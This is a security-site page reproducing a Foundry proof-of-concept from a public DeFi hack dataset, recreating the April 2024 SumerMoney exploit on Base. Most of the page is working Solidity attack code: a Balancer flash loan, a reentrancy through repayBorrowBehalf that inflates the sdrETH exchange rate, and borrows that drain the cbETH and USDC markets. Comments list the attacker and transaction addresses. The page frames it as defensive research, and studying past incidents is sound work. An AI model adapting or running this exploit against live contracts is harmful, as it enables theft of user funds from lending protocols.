Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/SumerMoney_exp.sol

Public reproduction file for dataset entry SumerMoney.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/SumerMoney_exp.sol143 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : 350K
8// Attacker : /address/https://basescan.org/address/0xbb344544ad328b5492397e967fe81737855e7e77
9// Attack Contract : /address/https://basescan.org/address/0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe7
10// Vulnerable Contract : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607
11// Attack Tx : /tx/https://basescan.org/tx/0x619c44af9fedb8f5feea2dcae1da94b6d7e5e0e7f4f4a99352b6c4f5e43a4661
13// @Info
14// Vulnerable Contract Code : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607#code
16// @Analysis
17// Post-mortem :
19// Hacking God :
21interface IClaimer {
22 function claim(
23 uint256[] calldata tokenIds
24 ) external;
27contract SumerMoney is Test {
28 uint256 blocknumToForkFrom = 13_076_768;
30 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
31 IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
32 IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
33 IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);
34 crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));
35 ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);
36 ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);
37 IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);
38 Helper helper;
40 function setUp() public {
41 vm.label(address(Balancer), "Balancer");
42 vm.label(address(WETH), "WETH");
43 vm.label(address(USDC), "USDC");
44 vm.label(address(cbETH), "cbETH");
45 vm.label(address(sdrETH), "sdrETH");
46 vm.label(address(sdrUSDC), "sdrUSDC");
47 vm.label(address(sdrcbETH), "sdrcbETH");
48 vm.label(address(claimer), "claimer");
49 vm.createSelectFork("base", blocknumToForkFrom);
50 }
52 function testExploit() public {
53 deal(address(this), 1);
54 address[] memory tokens = new address[](2);
55 tokens[0] = address(WETH);
56 tokens[1] = address(USDC);
57 uint256[] memory amounts = new uint256[](2);
58 amounts[0] = 150 ether;
59 amounts[1] = 645_000 * 1e6;
60 bytes memory userData = "";
61 Balancer.flashLoan(address(this), tokens, amounts, userData);
63 emit log_named_decimal_uint("Attacker USDC Balance After exploit", USDC.balanceOf(address(this)), 6);
64 emit log_named_decimal_uint("Attacker cbETH Balance After exploit", cbETH.balanceOf(address(this)), 18);
65 }
67 function receiveFlashLoan(
68 address[] memory tokens,
69 uint256[] memory amounts,
70 uint256[] memory feeAmounts,
71 bytes memory userData
72 ) external {
73 WETH.withdraw(amounts[0]);
75 // sdrETH.exchangeRate
76 emit log_named_decimal_uint("Before re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);
78 sdrETH.mint{value: amounts[0]}();
80 helper = new Helper{value: 1}();
81 USDC.transfer(address(helper), amounts[1]);
82 helper.borrow(amounts[1]);
84 WETH.deposit{value: amounts[0]}();
85 WETH.transfer(address(Balancer), amounts[0]);
86 USDC.transfer(address(Balancer), amounts[1]);
87 }
89 function attack() external {
90 // exchangeRate == getCashPrior() + totalBorrows - totalReserves / totalSupply
91 // In function repayBorrowBehalf(), getCashPrior() increase 150 ether but totalBorrows not decreased due to re-enter
92 emit log_named_decimal_uint("In re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);
94 sdrcbETH.borrow(cbETH.balanceOf(address(sdrcbETH)));
95 sdrUSDC.borrow(USDC.balanceOf(address(sdrUSDC)) - 645_000 * 1e6);
96 sdrETH.redeemUnderlying(150 ether);
97 uint256[] memory tokenIds = new uint256[](2);
98 tokenIds[0] = 309;
99 tokenIds[1] = 310;
100 claimer.claim(tokenIds);
101 }
103 receive() external payable {}
106contract Helper {
107 address owner;
108 IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
109 IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
110 IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);
111 crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));
112 ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);
113 ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);
114 IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);
116 constructor() payable {
117 owner = msg.sender;
118 }
120 function borrow(
121 uint256 amount
122 ) external {
123 USDC.approve(address(sdrUSDC), amount);
124 sdrUSDC.mint(amount);
126 uint256 borrowAmount = address(sdrETH).balance;
127 sdrETH.borrow(borrowAmount);
129 sdrETH.repayBorrowBehalf{value: borrowAmount + 1}(address(this)); // reentrancy
131 sdrUSDC.redeem(sdrUSDC.balanceOf(address(this)));
132 uint256[] memory tokenIds = new uint256[](1);
133 tokenIds[0] = 311;
134 claimer.claim(tokenIds);
135 USDC.transfer(owner, USDC.balanceOf(address(this)));
136 }
138 receive() external payable {
139 if (msg.value == 1) {
140 owner.call(abi.encodeWithSignature("attack()"));
141 }
142 }

Analysis

Dataset entry

Public Foundry test for “SumerMoney” (2024-04-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xbb344544ad328b5492397e967fe81737855e7e77

  • Attack Contract

    0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe7

  • Vulnerable Contract

    0x23811c17bac40500decd5fb92d4feb972ae1e607

  • Attack Tx

    0x619c44af9fedb8f5feea2dcae1da94b6d7e5e0e7f4f4a99352b6c4f5e43a4661

File record

Name
SumerMoney
Path
src/test/2024-04/SumerMoney_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5575c71f792cfae34d245e4b62fb187fa7c8b94c
Language
Solidity
Size
144 lines
Date
2024-04-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/SumerMoney_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5575c71f792cfae34d245e4b62fb187fa7c8b94c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.